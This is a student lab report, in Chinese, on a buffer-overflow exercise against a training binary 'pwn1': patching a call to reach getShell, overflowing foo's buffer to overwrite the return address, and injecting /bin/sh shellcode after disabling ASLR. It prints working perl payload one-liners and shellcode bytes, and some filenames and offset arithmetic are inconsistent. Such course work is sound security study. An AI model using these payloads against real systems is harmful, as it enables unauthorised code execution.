20242827 2024-2025-2 《网络攻防实践》实践9报告
20242827 2024-2025-2 《网络攻防实践》实践9报告
1.实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
我们首先可以把虚拟机的名字修改一下,可以在管理模式下用hostname命令来做。
sudo su
hostname 20242827wjl
2.1 直接修改程序机器指令,改变程序执行流程
将pwn1.zip下载解压并放入Kali中,使用命令mv pwn1 pwn20242827修改文件名。
再利用objdump对pwn20232903进行反汇编
objdump -d pwn20242827 | more
objdump 命令是 GNU Binutils 二进制工具集的一员,用于查看目标文件或可执行文件的组成信息,以可读的形式打印二进制文件的内容。
一直回车往下看,可以看到getShell函数、foo函数和main函数
发现main函数调用了foo函数(d7 ff ff ff),直接修改该程序,将调用的地址改为getShell函数的基地址即可改变程序的执行流程。

这个main函数调用了另一个函数 foo,并且返回 0 表示成功结束。
main 函数中的 call 指令的结束地址为 0x080484ba,我们现在想让main函数调用getShell 函数而不是原来的foo函数,而getShell 函数的地址为0x0804847d,现在我们来计算一下:
先计算 call 指令的偏移量:0x0804847d - 0x080484ba = -0x43。
转换偏移量为补码形式:-0x43 的补码为 0xffffffbd。
将补码添加到 call 指令的地址:0x080484ba + 0xffffffbd = 0x08048477。
因此,我们要将 main 函数中的 call 指令的目标地址由 0xffffffd7 修改为 0xffffffc3,这样就可以调用 getShell 函数了。
首先下载安装十六进制dump工具xxd,
备份pwn20242827程序,防止修改过程出现错误
通过vim打开pwn20242827-1,进行修改

查看到乱码

使用:%!xxd将显示模式切换成16进制模式

输入/d7ff,来查找

先把d7ff修改为c3ff,再使用如下命令将数据转换为原格式,然后保存退出

再转换:%!xxd -r,再用:wq!来进行保存。
运行修改后的pwn20242827-1程序

2.2 构造输入字符串覆盖返回地址,改变程序执行流
在main函数调用的foo函数中,仅给输入的数据分配了28字节(0x1c)的空间
只要输入足够长,并将输入字符串的第33~36字节填入getShell函数的基地址(0804847d),即可让程序跳转到getShell函数的地方
通过命令gdb pwn20242827进入调试模式
输入876543218765432187654321876543211234进行验证

借助perl,先生成一个包含getShell函数首地址的文件,再通过管道让文件的内容成为pwn1的输入
perl -e 'print "876543218765432187654321876543211234\x7d\x84\x04\x08\x0a"' > input
(cat input; cat) | ./pwn20242827

2.3 注入Shellcode并执行
首先通过链接进行下载安装execstack
http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb
使用命令dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行安装

execstack -s pwn1 #设置允许在栈上执行代码
execstack -q pwn1 #查询文件的栈属性,以确定是否允许在栈上执行代码。如果输出中包含 X,表示该文件允许在栈上执行代码;如果没有 X,表示不允许。
(其实这是我后来补的内容,所以不是pwn20242827,是pwn1)

more /proc/sys/kernel/randomize_va_space #查询是否关闭地址空间布局随机化(ASLR)。0:禁用 ASLR;1:启用 ASLR;2:启用更加激进的 ASLR
echo “0” > /proc/sys/kernel/randomize_va_space #将ASLR的级别设置为禁用

构造攻击buf,现在我们注入自己的shellcode,使用perl 命令生成input_20232822文件,这段 shellcode 的作用是执行一个简单的 shell 脚本,其中先用32个A填充缓存区,\x1\x2\x3\x4应为返回地址,现在还不知道,需要我们继续试验去确定这个地址。
perl -e 'print "A" x 32;print"\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_20242827
(cat input_20242827;cat) | ./pwn20242827

不要关,千万不要关!
打开另一终端,用ps -ef | grep pwn20242827命令找到pwn20242827的进程号

使用gdb调试该进程
attach 56084 #将 gdb 连接到pwn1进程,以便后续调试
disassemble foo #反汇编foo函数的机器代码
b *0x080484ae #设置断点
c #继续运行代码(这里输入c后回到**刚刚的终端界面,就是刚才不让关的页面回车一下**)
info r esp #显示栈指针esp寄存器的值
x/16x 0xffffd32c #从内存地址 0xffffd32c 处开始显示 16 个 16 进制格式的值


所以返回地址计算得出为FFFFD330

所以我们将计算得出的返回地址替换原来的\x1\x2\x3\x4,得到最终的shellcode,运行后可以看到成功了
perl -e 'print "A" x 32;print "\x30\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > input_20242827
(cat input_20242827;cat) | ./pwn20242827

3.学习中遇到的问题及解决
- 问题1:安装execstack时出现E: Unable to locate package execstack错误
- 问题1解决方案:找的安装包安装就可以了
- 问题2:断点不停止
- 问题2解决方案:因为关闭了之前的终端界面,千万不能关,还要在之前的界面输入命令才会出现中断
4.实践总结
这次实验我学习了二进制文件的相关知识,了解了缓冲区溢出和Shellcode,并掌握了反汇编、BOF攻击、gdb调试使用和栈溢出漏洞等。实验需要我们耐心细致,过程总体顺利。也学习了缓冲区溢出攻击,上手实践后也有了更深刻的认识,而且这次试验用到了上学期学习的反汇编的相关知识,感觉知识都融会贯通了,并且这次试验又用到了新的网络安全程序,使用的过程中也遇到了问题,但是都一一解决了,这次试验感觉很深刻,与同学们也进行了探讨,受益匪浅。


浙公网安备 33010602011771号